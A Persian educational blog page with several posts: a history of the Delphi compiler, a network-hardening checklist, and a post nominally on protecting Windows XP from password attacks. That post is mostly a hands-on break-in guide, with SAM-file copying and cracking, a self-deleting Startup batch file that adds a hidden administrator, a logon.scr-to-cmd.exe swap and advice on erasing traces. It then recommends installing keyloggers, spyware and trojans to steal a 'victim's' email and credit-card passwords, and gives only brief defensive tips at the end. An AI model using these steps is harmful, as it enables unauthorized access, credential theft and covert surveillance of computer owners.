۞علمی و آموزشی۞

» امروز

منوي كاربري

لوگوي ما

خبرنامه

لينك دوستان

لينكدوني

ساعت و تاريخ

منوي اصلي

نويسندگان

موضوعات

آرشيو ماهانه

جستجوگر

آمار وبلاگ

طراح قالب

آموزش دلفی بخش اول ( )

اریخچه زبان دلفی
دلفی در واقع یک کامپایلر پاسکال است. دلفی 6 نسل جدید کامپایلر های پاسکال است که شرکت Borland از زمان ایجاد اولین نسخه پاسکال توسط Andres Hejlsberg در 15 سال پیش به بازار عرضه کرد.

برنامه نویسی به زبان پاسکال در سالیان سال از استواری و ثبات، زیبایی و ظرافت و البته سرعت بالای کامپایل سود برده است. دلفی هم از این قاعده مستثنی نیست. کامپایلر دلفی ترکیبی از بیش از یک دهه تجربه طراحی کامپایلر پاسکال و معماری بهبود یافته کامپایلر های 32 بیتی است. اگرچه قابلیت های کامپایلرها با گذشت زمان پیشرفت قابل توجهی داشته است ولی سرعت آن چندان کاهش نیافته و همچنان از سرعت بالایی برخوردار است. به علاوه استحکام و قدرت کامپایلر دلفی معیاری برای سنجش دیگر کامپایلر هاست.

در اینجا به بررسی تفصیلی روند حرکتی دلفی در هر یک از نسخه های آن می پردازیم و مشخصات مهم آن را بررسی می کنیم.

سال 1995 - Delphi1
در زمان استفاده از سیستم عامل DOS برنامه نویسان مجبور بودند از بین زبان پر قدرت ولی کم سرعت Basic و زبان کارآمد ولی پیچیده و نامفهوم Assembly یکی را انتخاب کنند. پاسکال با ارائه یک زبان ساخت یافته و یک کامپایلر سریع و کم نقص این شکاف را پرکرد. برنامه نویسان Windows 3.1 هم با تصمیم گیری مشابهی رو برو شدند. یکی زبان قدرتمند و سنگین ++C و یکی زبان ساده و محدود کننده Visual Basic .

ارائه Delphi1 در این مورد هم راه حل خوبی برای برنامه نویسان بود. دلفی مجموعه متفاوتی برای برنامه نویسی بود . طراحی و توسعه برنامه های کاربردی، ایجاد DLL ها، پایگاههای داده و ... که یک محیط ویژوال وسیع را تشکیل می داد. Delphi1 اولین ابزار برنامه نویسی ویندوز بود که محیط طراحی ویژوال، کامپایلر بهینه کد برنامه و دسترسی قوی به پایگاههای داده را در یک جا جمع کرد که آن را به یکی از بهترین ابزارهای روش نوین توسعه سریع نرم افزار (Rapid Application Development) تبدیل کرد. این مجموعه قدرتمند باعث شد که در همان زمان بسیاری از برنامه نویسان زبانهای دیگر به Delphi روی بیاورند و این موفقیت بزرگی برای Borland به حساب می آمد. همچنین بسیاری از برنامه نویسان پاسکال دلفی را ابزاری یافتند که توسط آن هم از توانایی و تجربه خود در برنامه نویسی پاسکال استفاده می کردند و هم توانایی کار در ویندوز را به دست آوردند. همچنین زبانی که در آن زمان با نام پاسکال شیئی (ObjectPascal) در دانشگاهها ایجاد شده بود یک زبان بسیار خشک و محدود کننده بود که اصلاٌ حالت کاربردی پیدا نکرد.

ویژگیهای دلفی مثل طراحی ظاهری حساب شده و کاربر پسند آن باعث شد که زبان پاسکال شیئی عملاٌ از رده خارج شود. تیم طراحی VB در Microsoft قبل از حضور دلفی هیچ رقیب مهمی برای خود نمی دید. VisualBasic در آن زمان زبانی نا کارآ ، کم سرعت و کند ذهن بود. Visual Basic 3 در عمل اصلا توانایی رقابت با Delphi 1 را نداشت. در این سال شرکت Borland گرفتار یک سری مشکلات قضائی با شرکت Lotus بود که در نهایت هم متخلف شناخته شد. همچنین درگیری مشابهی هم با Microsoft بر سر تلاش در تغییر دادن فضای نرم افزار های Microsoft پیدا کرد. همچنین Borland مشغول طراحی و فروش طرح Quatro به شرکت Novell و طراحی پایگاه های داده dBase و Paradox بود که با استقبال قابل توجهی مواجه نشد.

در این زمان که Borland مشغول فعالیتهای قضایی و تجاری بود Microsft توانست گوی سبقت را از Borland برباید و قسمت اعظم بازار ابزار های برنامه نویسی تحت Windows را در اختیار بگیرد و سعی می کرد تا این طرز فکر را اشاعه دهد که چون Windows را طراحی کرده صلاحیت و توانایی تهیه بهترین ابزار های برنامه نویسی تحت آن را نیز در دست دارد. در این شرایط Borland با عرضه Delphi و نسخه جدید ++Borland C سعی کرد خدشه ای در فرمانروایی Microsoft وارد کند و سهمی در بازار بزرگ این محصولات داشته باشد.

سال 1996 - Delphi2
یک سال بعد Delphi2 تمام مزایای نسخه قبلی را تحت سیستم های جدید 32 بیتی (Windows 95,Windows NT) ارائه داد. همچنین Delphi2 با ارائه خصوصیات اضافه و کارکرد های قویتری نسبت به Delphi1 توانایی های خود را افزایش داد. (ازجمله ارائه کامپایلر 32 بیتی که سرعت بالایی به نرم افزار ها می بخشید، کتابخانه بزرگ و کاملی از اشیای مختلف، شیوه جدید و تکامل یافته ای برای اتصال به پایگاه های داده مختلف، ادیتور پیشرفته، پشتیبانی از OLE ، توانایی وراثت در فرمهای ویژوال و سازگاری با پروژه های 16 بیتی Delphi1 ). Delphi2 به معیاری برای سنجش و مقایسه همه ابزارهای توسعه نرم افزار در آن زمان تبدیل شد.

در آن زمان با ارائه سیستم 32 بیتی Windows95جهش بزرگی در سیستم عامل Windows رخ داد و Borland بسیار مشتاق بود که Delphi را به بهترین ابزار برنامه نویسی سیستم جدید تبدیل کند. نکته این که در آن زمان به منظور تاثیر در افکار عمومی و تاکید بر قدرت Delphi در سیستم عامل 32 بیتی قرار بود که نرم افزار با نام جدید Delphi32 به بازار عرضه شود ولی در آخرین مراحل به خاطر اینکه نشان دهند این زبان زبانی رشد یافته و تکامل یافته نسخه قبلی یعنی Delphi1 است نام Delphi2 را برای آن انتخاب کردند.

Microsoft تلاش کرد که با Visual Basic 4 با Delphi مقابله کند ولی از ابتدا کیفیت پایین آن و ضعف آن در انتقال برنامه های 16 بیتی به سیستم 32 بیتی و بروز اشکالات ساختاری در طراحی آن موجب شکست زودهنگام Visual Basic 4 شد. در این زمان هنوز تعداد زیادی از برنامه نویسان به Visual Basic وفادار بودند. Borland هنچنین روشها و ابزارهای قدرتمندی همچون PowerBuilder برای طراحی نرم افزار های Client/Server ارائه داد ولی Delphi هنوز آن قدر قدرتمند نشده بود که بتواند نرم افزارهایی که جایی در بین توسعه گران پیدا کرده اند را براندازد.

سال 1997 - Delphi3
از زمان تهیه و توسعه Delphi1 تیم توسعه Delphi در فکر گسترش و ایجاد یک زبان قدرتمند جهانی بود. برای Delphi2 این تیم تمام نیروی خود را صرف اعمال مربوط به انتقال تواناییها و کارکرد ها به سیستم 32 بیتی و همچنین اضافه کردن خصوصیات Client/Server و پایگاه داده کرد. در زمان تهیه Delphi3 تیم توسعه فرصت لازم برای گسترش مجموعه ابزار موجود را یافت و در این راستا کیفیت و کمیت ابزارهای Delphi بهبود یافت. به علاوه راه حل هایی برای مشکلات عمده و قدیمی برنامه نویسان تحت ویندوز ارائه شد. به ویژه استفاده از برخی فناوری های پیچیده و نا مفهوم (مثل COM و ActiveX وتوسعه نرم افزار های تحت Web وکنترل پایگاههای داده چند کاربره). روش نمایش کد برنامه همچنین توانایی کامل کردن خودکار کد (Code Completion) عملیات کد نویسی را راحت تر کرد. ضمن این که همچنان در بیشتر موارد اساس و متدولوژی برنامه نویسی مانند Delphi1 بود و بر پایبندی به قوانین اصولی Pascal تاکید می شد.

در این زمان رقابت شرکت های تولید کننده ابزار های برنامه نویسی بسیار تنگاتنگ شده بود. Microsoft با ارائه Visual Basic 5 به پیشرفت های خوبی دست یافت ازجمله پشتیبانی قوی از COM و ActiveX و ایجاد برخی خصوصیات و تغییرات کلیدی و اساسی در کامپایلر VB. ضمن این در همین سال Borland با پشتوانه قوی Delphi و با استفاده از ساختار موفق آن ابزارهای دیگری همچون Forte و BC++ Builder به بازار عرضه کرد.

تیم Delphi در زمان طراحی Delphi3 چند تن از اعضای کلیدی خود را از دست داد. Andres Hejlsberg معمار اصلی Delphi در اقدام غیر منتظره ای Borland را ترک کرد و تصمیم گرفت به رقیب دیرینه یعنی Microsoft بپیوندد. اما حرکت تیم Delphi متوقف نشد و معاون Hejlsberg که سالها تجربه همکاری با او را داشت توانست رهبری این تیم را به خوبی در دست بگیرد. همچنین مسئول فنی تیم (Paul Gross) هم در اقدام مشابهی به گروه Microsoft ملحق شد. این تغییرات بیشتر به خاطر اختلافات شخصی بین افراد تیم بود و نه به خاطر مسائل حرفه ای.

سال 1998 - Delphi4
Delphi4 بیشتر بر روی راحتتر کردن کار با دلفی متمرکز شد. مرورگر روال ها (Module Explorer) بهبود یافت و مرور و ویرایش Unit ها را راحت تر کرد. کنترل کد و کامل کردن خودکار کلاسها این فرصت را به کاربر داد که فکر و زمان خود را روی ساختار اصلی برنامه بگذارد و در وقت صرفه جویی کند. طراحی رابط کاربر هم کاملاٌ عوض شد و بهبود یافت و اشکال زدا (Debugger) نیز پیشرفت قابل توجهی داشت. Delphi4 قابلیتهای برنامه نویسان را در استفاده از تکنولوژیهای چند منظوره خارجی مثل MIDAS ، DCOM ، MIS و Corba افزایش داد.

در این سال Delphi جایگاه خود را در رقابت با دیگران مستحکم کرده بود و کم کم به سمت دست یابی به سودآوری مالی مورد نظر خود پیش می رفت. در واقع در این زمان بود که حاصل کار سنگین چند ساله تیم نمایان می شد. بعد از سالها آزمایش Delphi شهرت و محبوبیت خاصی پیدا کرد و دیگر برنامه نویسان Delphi توانایی جدا شدن از آن را نداشتند. در این زمان Borland به کار سوٌال برانگیزی دست زد و به منظور تبلیغ بیشتر و برتری در جنگ روانی با دیگر شرکتها نام Inprise را برای فعالیتهای تجاری خود برگزید.

ابزار های مربوط به فن آوری Corba را گسترش داد تا راه جدیدی برای سودآوری ایجاد کند. برای موفقیت در این زمینه Corba نیاز به رابط کاربر قدرتمندی داشت که در کنار توانایی های آن کار کردن با آن نیز راحت باشد. دقیقاٌ همان کاری که در سالهای قبل در مورد COM و برنامه نویسی تحت Web انجام شده بود و به موفقیت دست یافته بود. با این وجود بنا به دلایل مختلفی این گسترش و توسعه Corba هیچ وقت تکامل و موفقیتی که مورد نظر بود را به دست نیاورد و بر خلاف تبلیغات و سرمایه گذاری های انجام شده فن آوری Corba تنها توانست نقش کوچکی در روند رو به جلوی Delphi ایفا کند.

سال 1999 - Delphi5
Delphi5 در برخی زمینه ها پیشرفت های قبلی را ادامه داده است. اولاٌ مسیری را که Delphi4 با اضافه کردن ویژگیهای زیادی شروع کرده بود ادامه داد. Delphi4 باعث شد کارهایی که قبلاٌ به صرف وقت زیادی احتیاج داشت بسیار سریعتر انجام شود. Delphi به شکل امیدوار کننده ای به برنامه نویس این امکان را می دهد که بیشتر به برنامه ای که میخواهد بنویسد توجه کند و نه به قواعد برنامه نویسی و نوشتن کد های تکراری و خسته کننده. این ویژگیهای سودمند شامل رابط کاربر بهبودیافته و سیستم اشکال زدایی(Debugger) توانمند ، امکانات برنامه نویسی تیمی و ابزار های ترجمه می شود.

ثانیا Delphi5 خصوصیات جدیدی را در بر می گیرد که توسعه برنامه های تحت وب را واقعاٌ راحت کرده است. این ویژگیها شامل طراح اشیای مربوط به ASP برای ساختن صفحات (Active Server Page)، اشیایی موسوم به Internet Express برای پشتیبانی از XML و خصوصیات جدید MIDAS که آن را به یک ابزار همه کاره در پایگاه های داده تحت Web تبدیل کرد. در نهایت با صرف وقت ، هزینه و صبر زیاد توانست Delphi5 قدرتمند را عرضه کند. این فعالیت مدتها به طول انجامید و قبل از عرضه عمومی، Delphi5 بارها در بازبینی ها و آزمایشهای داخلی قسمتهای مختلف آن تغییر کرد و بهبود یافت.

Delphi5 در نیمه دوم سال 1999 به بازار عرضه شد و به نفوذ و تسلط بر بازار ادامه داد. در این زمان Visual Basic که کم کم به عضوی تحقیر آمیز برای Microsoft تبدیل می شد هم با پیشرفتهایی توانست در رقابت دوام بیاورد و از صحنه خارج نشود. در اقدام درست و به جایی نام Inprise دوباره به Borland بازگشت. این اقدام از سوی طرفداران و مشتریان قدیمی Borland با استقبال خوبی مواجه شد.

سال 2001 – Delphi6
در هنگام تهیه Delphi6 ساختار Delphi در زمینه های مختلف شکل گرفته بود و به یک تکامل نسبی رسیده بود. این مسئله باعث شد که تیم طراحی بتواند وقت خود را بر روی طرحی که مدتها تنها در حد یک نظریه بود بگذارد و آن را بسیار زودتر از آن که انتظار می رفت عملی کند: گام نهادن به محیط های فراتر از Windows . بیشتر نیروی توسعه گران Delphi در این مدت صرف رهانیدن Delphi از بند Windows شد که این خود در درجه اول مبارزه ای آشکار با سلطه Microsoft بود و ثانیاٌ راه برنامه نویسان را به سوی فضا های دیگر برنامه نویسی باز کرد. در ابتدا این عمل ریسک بزرگی بود و بیم آن می رفت که جایگاه Delphi در Windows هم به خطر بیفتد ولی در نهایت به نقطه رشد و قوتی بدل شد که Delphi را به یکی از بهترین ابزار برنامه نویسی Multi Platform تبدیل کرد.تکنولوژی CLX روالهای مختلف Delphi را با Kylix (عضو جدید خانواده Borland که در فضای Linux کار می کند) به اشتراک گذاشت و استفاده از سیستم بایت Java باعث شد که Delphi حتی از قید سخت افزار هم رها شود.

به نظر می رسد که این فعالیتها باعث ثبات Delphi در دنیای برنامه نویسان شود و نگرانی های Borland و برنامه نویسان که همیشه می ترسیدند که مبادا با ضعیف شدن Windows جایگاه خود را از دست بدهند حال به افتخار و آرامش برای آنان و نگرانی برای طرفداران Microsoft تبدیل شده است.

نوشته شده توسط احسان برشیدی در چهارشنبه 1387/07/17

لينك ثابت

چگونه از ویندوز اکس پی خود در برابر حمله به کلمه عبور محافظت کنید؟ ( )

در این مقاله سعی دارم روشهاي نفوذ به ویندوز XP , 2000 را شرح بدهم ، چون وقتی که با روش های نفوذ به ویندوز آشنا باشید بهتر می توانید از آن محافظت کنید .
(توجه : در این مقاله فرض می کنیم که فایل سیستم ویندوز NTFS است ).

برای این کار چند روش وجود دارد :

» روش اول :

در جایی که از شما UserName , Password پرسیده می شود کلید های Alt+Ctrl+Del را دو مرتبه همزمان فشار دهید . در قسمت UserName کلمه Administrator را وارد کرده و جای کلمه عبور را خالی بگذارید و Enter بزنید تا وارد ویندوز شوید ...

خوب این روش ساده بود اما همیشه کارساز نیست اگر برای Administrator آن کلمه عبوری قرار داده شده باشد ؟!!

به سراغ روش دوم میرویم :

» روش دوم :

1- ابتدا یک فلاپی Bootable می سازیم .

2- اغلب فایل سیستم ویندوز XP,2000 از نوع NTFS است و در محیط شبیه Dos که با فلاپی راه اندازی میشود شناخته نمی شود بنا براین ما برای این کار نیاز به برنامه هایی مثل NTFS4DOS ( دانلود : http://users.cjb.net/mojtaba/ntfs4dos.zip ) داریم.(این نوع برنامه ها امکان کار کردن با درایو هایی که فایل سیستم آنها Ntfs را در dos به ما می دهد.)

3- حالا که فلاپی آماده شد باید با آن سیستم را راه اندازی کرد... اما اگر در Setup سیستم تنظیم شده باشد که با فلاپی راه اندازی نشود ...؟!! آنگاه باید به سراغ Setup رفت و در آن تنظیمات لازم را انجام دهیم اگر Setup با کلمه عبور محافظت شود آنگاه باید به Bios ( مقاله نفوذ به بایوس : لینک مقاله بایوس ) نفوذ کنیم.

4- خوب پس از انجام مراحل فوق فلاپی را در فلاپی درایو قرار داده و سیستم را با آن راه اندازی می کنیم . و بر نامه NTFS4DOS را اجرا می کنیم تا به اطلاعات درایو های NTFS دسترسی داشته باشیم .

5- درایوی که ویندوز در آن نصب است را پیدا می کنیم و به مسیر زیر رفته :

%Windir%\System32\Config\

Example : c:\windows\system32\config

در این پوشه فایلی به نام * sam را در فلاپی کپی می کنیم.

( نکته : در ویندوز 2000 با پاک کردن این فایل دیگر کار تمام است و میتوان با Username: Administrator و بدون پسورد وارد شویم اما میتوان برای این که رد پایی باقی نماند از فایل Sam یک کپی داشته باشیم تا بعد از انجام کارمان در ویندوز با برگرداندن این فایل به جای قبلی آن رد پای خود را پاک کنیم و نام و پسورد کاربران به حالت قبل برگردد.)

از این مرحله به بعد برای Windows Xp بیشتر توصیه میشود :

6- بعد از کپی فایل با برنامه هایی نظیر L0phtCrack ,John the Ripper آن را کرک می کنیم تا پسورد را به دست آورد .

» روش سوم :

در این روش چهار مرحله اول روش دوم را انجام میدهیم.

1- دستورات زیر را در Notepad می نویسیم و در فایلی با نام و پسوند test.bat ذخیره میکنیم :

echo off@

net user administrator 123 /add

net localgroup administrator administrators /add

net user administrator 123

del test.bat

echo on@

2- بعد فایل مورد نظر را در فلاپی کپی کرده و به سراغ کامپیوتر قربانی می رویم و فایلی که در مرحله قبل ساخته ایم را در مسیر زیر کپی می کنیم(به فرض که ویندوز در درایو C نصب باشد و کاربری با نام MOJTABA مدیر سیستم باشد):

C:\Documents and Settings\MOJTABA\Start Menu\Programs\Startup

3- خوب حالا فقط کافی است که منتظر بمانید تا کاربر MOJTABA یک بار وارد شود دیگر تمام است و شما بعد از آن می توانید با نام کاربری Administrator و کلمه عبور 123 وارد سیستم شوید.

توضیح دستورات مربوط به فایلی که میسازیم :

در خط اول این دستور باعث مخفی شدن بقیه دستورات در حال اجرا از دید کاربر می شود.

در خط دوم ما یک کاربر بانام Administrator و کلمه عبور 123 می سازیم .(این عمل برای این صورت می گیرد که ممکن است نام Administrator را تغییر داده باشند).

در خط سوم کاربری را که در خط قبل ساخته ایم را به عنوان سرپرست (ادمین) سیستم قرار میدهیم.

در خط چهارم احتمال می دهیم که نام Administrator را تغییر داده نشده باشد . پس ما فقط پسورد آن را عوض می کنیم.

در خط پنجم برای از بین بردن رد پا فایلی را که ساخته ایم را پاک می کنیم.

در خط ششم هم حالتی را که دستور خط اول ایجاد کرده بود به حالت اول بر می گردانیم.

نکته : توجه کنید که به جای کاربر Administrator و کلمه عبور 123 هر کاربر یا کلمه عبور دیگری می توانید قرار دهید اما این کاربر کمتر باعث شک می شود .

روش چهارم :

استفاده از برنامه Windows XP / 2000 / NT Key است . نسخه آزمایشی این برنامه را می توانید از اینجا دریافت کنید.

» روش پنجم ( البته این روش را من پیدا نکردم اما اشکالات آن را رفع کرده ام)

تا مرحله 4 را انجام می دهیم حالا در Dos هستیم و دستورات را جلوی خط فرمان می نویسیم .

الف - ابتدا به درایوی می رویم که در آن ویندوز نصب شده است .برای مثال فرض کنیم در درایو C نصب باشد دستور زیر را اجرا می کنیم :
:c

ب - Windows/System32 میرویم .و در آنجا کارهای زیر را انجام می دهیم :
با دستور : cd windows/system32

پ - یک پوشه ایجاد می کنیم با دستور زیر :
md hack

ت - حالا دو فایل cmd.exe و logon.scr را به این پوشه کپی می کنیم تا یک نسخه پشتیبان از این فایل ها داشته باشیم با اجرای دستورات زیر :
copy cmd.exe hack
copy logon.scr hack

ث - حالا فایل logon.scr را پاک می کنیم :
del logon.scr

ج - حالا فایل cmd.exe را به logon.scr تغییر نام می دهیم :
ren cmd.exe logon.scr

حالا کافی است کامپیوتر را ریستارت کنید .
بعد از این که ویندوز بالا آمد ، اگر توجه کنید چند دقیقه که صبر کنید در حالت عادی Screen saver Logon.scr به اجرا در می آید اما با این دستکاری که ما کرده ایم Cmd.exe به اجرا در می آید حالا می توانید کاربر جدید ایجاد کنید و یا کلمه عبور را عوض کنید .
برای ایجاد حساب کاربری از دستور زیر استفاده می کنیم :

net user Mojtaba 123 /add

این دستور یک حساب کاربری با نام Mojtaba و کلمه عبور 123 ایجاد می کند.
برای این که این کاربر را مدیر(Administrator) قرار دهیم دستور زیر را انجام می دهیم :

net localgroup Mojtaba administrators /add

حالا اگر یک حساب کاربری موجود باشد و بخواهیم پسورد اون رو عوض کنیم دستور زیر را انجام می دهیم :

net user Ali 123

این دستور بدون این که پسورد قبلی کاربر Ali را از ما بخواهد پسورد اون رو به 123 تغییر می دهد.

ضمنا بعد از ورود به سیستم فایل هایی که در پوشه hack کپی کرده ایم را به جای قبلی برگردانید و پوشه hack را پاک کنید تا ردی باقی نماند .

-------------------------------------------------------------------------------------------------
نتیجه :

حالا که به عنوان مدیر وارد سیستم شدیم چه کارهایی می توانیم انجام دهیم .

اول این که می توانید به اطلاعات سیستم دسترسی پیدا کرده و ...

دوم این که توصیه می شود یک برنامه جاسوسی مثل XpSpy ها ویا Key Logger ها نصب کنید تا تمامی پسورد های ایمیل ها و کارتهای اعتباری و ... و وب سایت های که سر می زند و حتی کلماتی که چت می کند و ... را بدانید ( در آینده نه چندان دور مقاله ای در مورد برنامه های جاسوسی خواهم نوشت ).

سوم این که میتوانید یک تروجان روی کامپیوتر قربانی نصب کنید و بقیه اش رو خودتون میدونین ...

چهارم این که می توانید کامپیوتر او را طوری پیکر بندی کنید که به شما اجازه ریموت کردن را بدهد و با یک تروجان آی پی اون رو به دست آورید و اون را کنترل کنید .

پنجم ...

توصیه های مهم :

1- از دسترسی افراد نامطمئن به سیستم خود جلوگیری کنید .

2- حداقل کاری که میتونین انجام بدین این است که سیستم شما با CDو یا Floppy بوت نشود و Bios خود را با کلمه رمز محافظت نمایید.

3- همیشه از کلمات عبور پیچیده که مخلوتی از حرف و عدد و علائم ویژه باشد استفاده کنید . مثلا کلمه عبور X@#%Übps خیلی بهتر از کلمه عبور spssstudioworks است . این کار حداقل کرک کردن پسورد شما را طولانی میکند.

4- LM Hash را غیر فعال کنید . برای این منظور به کنترل پانل رفته و Local Security Policy را از Administrative Tools را اجرا کرده و به پوشه Security Option از پوشه Local Policies رفته و در آنجا Network Security : Do not Store LAN Manager hash value on next password change را Enable کنید سپس پسورد ادمین را عوض کنید.

5- نام کاربری Administrator وGuest را حتما تغییر دهید و برای آنها کلمه عبور قرار دهید .

6- اگر به کاربر Guest نیازی ندارید آن را غیر فعال کنید .

7- هر چند وقت یکبار پسورد خود را عوض کنید.

8- کاربران خود را هر چند وقت یکبار چک کنید تا از موارد مشکوک مطلع شوید.

ا

نوشته شده توسط احسان برشیدی در چهارشنبه 1385/09/01

لينك ثابت

آموزش كليات امنيت شبكه ( )

وقتي بحث امنيت شبكه پيش مي اید ، مباحث زيادي قابل طرح و ارائه هستند ، موضوعاتي كه هر كدام به تنهايي مي توانند جالب ، پرمحتوا و قابل درك باشند ، اما وقتي صحبت كار عملي به ميان می اید ، قضيه يك جورايي پيچيده مي شود . تركيب علم و عمل ، احتياج به تجربه دارد و نهايت هدف يك علم هم ، به كار امدن ان هست .
وقتي دوره تئوري امنيت شبكه را با موفقيت پشت سر گذاشتيد و وارد محيط كار شديد ، ممكن است اين سوال برایتان مطرح شود كه " خب ، حالا از كجا شروع كنم ؟ اول كجا را ايمن كنم ؟ چه استراتژي را پيش بگيرم و كجا كار را تمام كنم ؟ " انبوهي از اين قبيل سوالات فكر شما را مشغول مي كند و كم كم حس مي كنيد كه تجربه كافي نداريد و اين البته حسي طبيعي هست . پس اگر اين حس رو داريد و مي خواهيد يك استراتژي علمي - كاربردي داشته باشيد ، تا انتهاي اين مقاله با من باشيد تا قدم به قدم شما رو به امنيت بيشتر نزديك كنم.
هميشه در امنيت شبكه موضوع لايه هاي دفاعي ، موضوع داغي هست و نظرات مختلفي وجود دارد . عده اي فايروال را اولين لايه دفاعي مي دانند ، بعضي ها هم Access List رو اولين لايه دفاعي مي دانند ، اما واقعيت پنهان اين هست كه هيچكدام از اينها ، اولين لايه دفاعي نيستند . يادتون باشد كه اولين لايه دفاعي در امنيت شبكه و حتي امنيت فيزيكي ، Policy هست . بدون policy ، ليست كنترل ، فايروال و هر لايه ديگر ، بدون معني مي شود و اگر بدون policy شروع به ايمن كردن شبكه كنيد ، محصول يك آبكش واقعي از كار در مي اید .
با اين مقدمه ، و با توجه به اين كه شما policy مورد نظرتان را كاملا تجزيه و تحليل كرديد و دقيقا مي دانيد كه چه چيزي رو مي خواهید و چي را احتياج نداريد ، كار را شروع مي كنيم . ما بايد پنج مرحله رو پشت سر بگذاريم تا كارمان تمام بشود . اين پنج مرحله عبارتند از :

1- Inspection ( بازرسي )
2- Protection ( حفاظت )
3- Detection ( رديابي )
4- Reaction ( واكنش )
5- Reflection ( بازتاب)

در طول مسير ، از اين پنج مرحله عبور مي كنيم ، ضمن اينكه ايمن كردن شبكه به اين شكل ، احتياج به تيم امنيتي دارد و يك نفر به تنهايي نمي تواند اين پروسه رو طي كند و اگر هم بتواند ، خيلي طولاني مي شود و قانون حداقل زمان ممكن را نقض مي كند .

1- اولين جايي كه ايمن كردن رو شروع مي كنيم ، ايمن كردن كليه authentication هاي موجود هست . معمولا رايج ترين روش authentication كه مورد استفاده قرار مي گيرد ، استفاده از شناسه كاربري و كلمه رمز هست.
مهمترين جاهايي كه بايد authentication را ايمن و محكم كرد عبارتند از :

- كلمات عبور كاربران ، به ويژه مديران سيستم .
- كلمات عبور سوييچ و روتر ها ( من روي سوييچ خيلي تاكيد ميكنم ، چون اين device به صورت plug and play كار مي كند ، اكثر مديرهاي شبكه از config كردن ان غافل مي شوند ، در حالي كه مي تواند امنيت خيلي خوبي به شبكه بدهد ، به مديران امنيتي توصيه ميكنم كه حتما اين device رو كنترل كنند ) .
- كلمات عبور مربوط به SNMP .
- كلمات عبور مربوط به پرينت سرور .
- كلمات عبور مربوط به محافظ صفحه نمايش .

آنچه كه شما در كلاسهاي امنيت شبكه در مورد Account and Password Security ياد گرفتيد را اينجا به كار مي بريد . كه من به خاطر طولاني نشدن بحث به انها اشاره نميكنم .

2- قدم دوم نصب و به روز كردن آنتي ويروس بر روي همه دسكتاپ ، سرور و ميل سرورها هست . ضمن اينكه آنتي ويروس هاي مربوط به كاربران بايد به طور اتوماتيك به روز رساني بشود و آموزشهاي لازم در مورد فايلهاي ضميمه ايميل ها و راهنمايي لازم جهت اقدام صحيح در صورت مشاهده موارد مشكوك يا اضطراري به كاربران هم داده بشود .

3 - مرحله سوم شامل نصب آخرين به روز رساني هاي امنيتي سيستم عامل و سرويسهاي موجود هست . در اين مرحله علاوه بر كارهاي ذكر شده ، كليه سرورها و device ها و دسك تاپ ها با ابزار هاي شناسايي حفره هاي امنيتي بررسي مي شوند تا علاوه بر شناسايي و رفع حفره هاي امنيتي ، سرويس هاي غير ضروري هم شناسايي و غيرفعال بشوند .

4-در اين مرحله نوبت گروه بندي كاربران و اعطاي مجوزهاي لازم به فايلها و دايركتوري ها ميباشد . ضمن اينكه account هاي قديمي هم بايد غير فعال شوند . گروه بندي و اعطاي مجوز بر اساس يكي از سه مدل استاندارد Access Control Techniques يعني MAC , DAC يا RBAC انجام مي شود . بعد از پايان اين مرحله ، يك بار ديگه امنيت سيستم عامل بايد چك بشود تا چيزي فراموش نشده باشد .

5- حالا نوبت device ها هست كه معمولا شامل روتر ، سوييچ و فايروال مي شود . بر اساس policy موجود و توپولوژي شبكه ، اين box ها بايد config بشوند . تكنولوژي هايي مثل NAT , PAT و filtering و غيره در اين مرحله مطرح مي شود و بر همين اساس اين مرحله خيلي مهم هست. حتي موضوع مهم IP Addressing كه از وظايف مديران شبكه هست مي تواند مورد توجه قرار بگيرد تا اطمينان حاصل بشود كه از حداقل ممكن براي IP Assign به شبكه ها استفاده شده است.

6- قدم بعد تعيين استراژي backup گيري هست . نكته مهم كه اينجا وجود دارد اين هست كه بايد مطمئن بشويم كه سيستم backup گيري و بازيابي به درستي كار مي كند و بهترين حالت ممكن باشد .

7- امنيت فيزيكي . اول از همه به سراغ UPS ها مي رويم . بايد چك كنيم كه UPS ها قدرت لازم رو براي تامين نيروي الكتريكي لازم جهت كار كرد صحيح سخت افزار هاي اتاق سرور در زمان اضطراري رو داشته باشند . نكات بعدي شامل كنترل درجه حرارت و ميزان رطوبت هست. همينطور ايمني در برابر سرقت و آتش سوزي. سيستم كنترل حريق بايد به شكلي باشد كه به نيروي انساني و سيستم هاي الكترونيكي آسيب وارد نكند . به طور كل آنچه كه در مورد امنيت فيزيكي ياد گرفتيد را در اين مرحله به كار مي بريد .

8- امنيت وب سرور يكي از موضوعاتي هست كه روش بايد وسواس داشته باشيد. به همين دليل در اين قسمت كار ، مجددا و با دقت بيشتر وب سرور رو چك و ايمن مي كنيم . در حقيقت ، امنيت وب رو اينجا لحاظ مي كنيم .
( اسكريپت هاي سمت سرويس دهنده رو هيج وقت فراموش نكنيد )

9 - حالا نوبت چك ، تنظيم و تست سيستم هاي Auditing و Logging هست . اين سيستم ها هم مي تواند بر پايه host و هم بر پايه network باشد . سيستم هاي رد گيري و ثبت حملات هم در اين مرحله نصب و تنظيم مي شوند. بايد مطمئن شوید كه تمام اطلاعات لازم ثبت و به خوبي محافظت مي شود . در ضمن ساعت و تاريخ سيستم ها درست باشد ، مبادا كه اشتباه باشه كه تمام زحماتتان در اين مرحله به باد ميرود . و امكان پيگيري هاي قانوني در صورت لزوم ديگر وجود ندارد .

10- ايمن كردن Remote Access با پروتكل ها و تكنولوژي هاي ايمن و Secure قدم بعدي رو تشكيل مي دهد. در اين زمينه با توجه به شرايط و امكانات ، ايمن ترين پروتكل و تكنولوژي ها رو به خدمت بگيريد .

11 - نصب فايروال هاي شخصي در سطح host ها ، لايه امنيتي مضاعفي به شبكه شما ميدهد . پس اين مرحله رو فراموش نكنيد .

12 - شرايط بازيابي در حالت هاي اضطراري رو حتما چك و بهينه كنيد . اين حالت ها شامل خرابي قطعات كامپيوتري ، خرابكاري كاربران عادي ، خرابي ناشي از بلاياي طبيعي ( زلزله - آتش سوزي - افتادن - سرقت - سيل و ... ) و خرابكاري ناشي از نفوذ هكرها ، ميباشد . استاندارد هاي warm site و hot site را در صورت امكان رعايت كنيد.
يادتون باشد كه " هميشه در دسترس بودن اطلاعات " ، جز، قوانين اصلي امنيتي هست .

13- و قدم آخر اين پروسه كه در حقيقت شروع يك جريان هميشگي هست ، عضو شدن در سايتها و بولتن هاي امنيتي و در جريان آخرين اخبار امنيتي قرار گرفتن هست .
براي همه شما عزيزان آرزوي سلامتي و موفقيت را دارم .

نوشته شده توسط احسان برشیدی در چهارشنبه 1385/09/01

لينك ثابت

الفباي تجارت الكترونيكي ( )

كارت اعتباري چيست؟
